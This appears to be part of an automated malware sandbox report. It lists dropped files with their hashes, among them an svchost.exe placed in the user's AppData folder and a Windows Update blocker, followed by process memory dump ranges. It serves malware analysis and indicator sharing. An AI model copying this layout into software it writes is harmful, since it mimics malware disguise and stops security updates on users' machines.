ec16ca112ce13e5314d4a08db602798828982e0c

SHA256
cae8d9a5d4e8e059cc5ff6add0493f85767c409f726aca075985730cd943d10c

SHA512
043136d26f4d83df3f38623983f6a8516e84a3d5f3727e5b3c7c4becd02a29016508c0753253ed14d04ddca880987b25f8896e5ff69705dc8232ce49e6a3f12c

Download Submit
C:\Users\Admin\AppData\Local\Temp\1i3l4s4c.tmp

Filesize
20KB

MD5
904120fc6fa85e69127e5d0280841bca

SHA1
3d50add894ed7eb2888a0209d39ef481718b9ce8

SHA256
8c9ad246e10ee64dfa5f1893f844ad6764dad6e2e2300413ea6562a3f234fdb6

SHA512
968c3bd35f5bd66301fd5118870d1d1de02342b15d1636f48985235b3bda8f799945aeb8770fbaf0675d628198ecc04bccc8d011e368bafe6729b1360a6ca190

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ikrw5adb.fbe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\exm.zip

Filesize
13.2MB

MD5
9a8facedca4f5b7a39e120bff80421b7

SHA1
7c3b501b2ce75c76d47aba44d6483f21e52750dc

SHA256
f638f0781e710bf6fa735808d688ebef3c2b97c0a6b7a33675e16c2435730ef2

SHA512
c0d170072af13f53f650ef9b5e7444b0a36b838fdf9a97ba42e3ac7e01c38e3aa9f053342b99458e3ab9bdc662c90a18f09da45011665f297e873856edf90c9e

Download Submit
C:\Users\Admin\AppData\Local\svchost.exe

Filesize
225KB

MD5
8008775094d446eaed43a423cd8a26f9

SHA1
4b8ef16e4a70fed23dc20cc5e27566df1e06af04

SHA256
48a06f8dbe0c56894b38bb3489c8ed5243d246328c512ee265bc31de441b5e1f

SHA512
6d9f2dca0d9032702971b339b7df65efab1c95d76e89044cf36ed43ef3116d21d1203d1561bd5fb4bd838d4df3dfbd240e2c89b715400f7a89037a3757326792

Download Submit
C:\exm\EXMservice.exe

Filesize
12.0MB

MD5
f189114f5f8504a1aeb97a90e71ea429

SHA1
a2d029f042000b7e3ec175e1e365d9bf20396092

SHA256
31709442f1ff903433dec01461829a0c05b62f0e7cab81f2efcd1a0b0845d748

SHA512
5f939df2c5bc1f3c4f5b1fd835a7ab882d49fed5c5ebd7a41deba37b3f7ba423d194ccaad39aa3032d9454570d8863bdb93cca9c99ee12cf64dbc478b2dfcbbb

Download Submit
C:\exm\WindowsUpdateBlocker\Wub.exe

Filesize
791KB

MD5
82aff8883099cf75462057c4e47e88ac

SHA1
68e2939f59b3869e9bd3ecc4aca3947649631bf8

SHA256
aac1123f17f8569a36bf93876cea30e15103fd2379b401a79129a2a6e7285ac2

SHA512
212ac940a1f8bdd805813c279d471efc53b858bc35c5edad182dfde3c29c37854618a507a0a0839e5a383d1ba4fe317c0b3c8275d023c86ecfa36f221560b96d

Download Submit
C:\exm\WindowsUpdateBlocker\Wub.ini

Filesize
97KB

MD5
a16bf55cd2ef7d9e56565b0ed1aa208a

SHA1
19edddaa24f73d9d01150babd58b1bcc0ff5d849

SHA256
30eb977d58106050818626b9b556a3badc7b7d012462903120a0663987c74c0b

SHA512
ab87d94620b0d77bfa8ff3e721bbb68a28185245b173be7b62195588e2a3b3d3a9ee085497300c14876118dff4edca7fea202328f3156a76c53f786b8d5b6118

Download Submit
memory/792-27-0x00000267315F0000-0x0000026731602000-memory.dmp

Filesize
72KB

Download
memory/792-28-0x00000267315D0000-0x00000267315DA000-memory.dmp

Filesize
40KB

Download
memory/1004-10-0x00007FFDEC050000-0x00007FFDECB12000-memory.dmp

Filesize
10.8MB

Download
memory/1004-6-0x0000023AE78B0000-0x0000023AE78D2000-memory.dmp

Filesize
136KB

Download
memory/1004-11-0x00007FFDEC050000-0x00007FFDECB12000-memory.dmp

Filesize
10.8MB

Download
memory/1004-12-0x00007FFDEC050000-0x00007FFDECB12000-memory.dmp

Filesize
10.8MB

Download
memory/1004-15-0x00007FFDEC050000-0x00007FFDECB12000-memory.dmp

Filesize
10.8MB

Download
memory/1004-0-0x00007FFDEC053000-0x00007FFDEC055000-memory.dmp

Filesize
8KB

Download
memory/1212-90-0x0000000000200000-0x000000000021C000-memory.dmp

Filesize
112KB

Download
memory/3116-70-0x0000000000160000-0x00000000001C2000-memory.dmp

Filesize
392KB

Download
memory/3888-326-0x0000015C78770000-0x0000015C788BF000-memory.dmp

Filesize
1.3MB

Download
memory/4764-258-0x0000000007990000-0x00000000079A2000-memory.dmp

Filesize
72KB

Download
memory/4764-249-0x0000000006930000-0x000000000693A000-memory.dmp

Filesize
40KB

Download
memory/4764-245-0x0000000006EA0000-0x0000000007446000-memory.dmp

Filesize
5.6MB

Download
memory/4764-244-0x0000000006850000-0x00000000068E2000-memory.dmp

Filesize
584KB

Download
memory/4764-96-0x0000000005CC0000-0x0000000005D26000-memory.dmp

Filesize
408KB

Download
memory/4764-95-0x0000000000E30000-0x0000000000E6E000-memory.dmp

Filesize
248KB

Download
memory/4836-366-0x000001D4FB450000-0x000001D4FB59F000-memory.dmp

Filesize
1.3MB

Download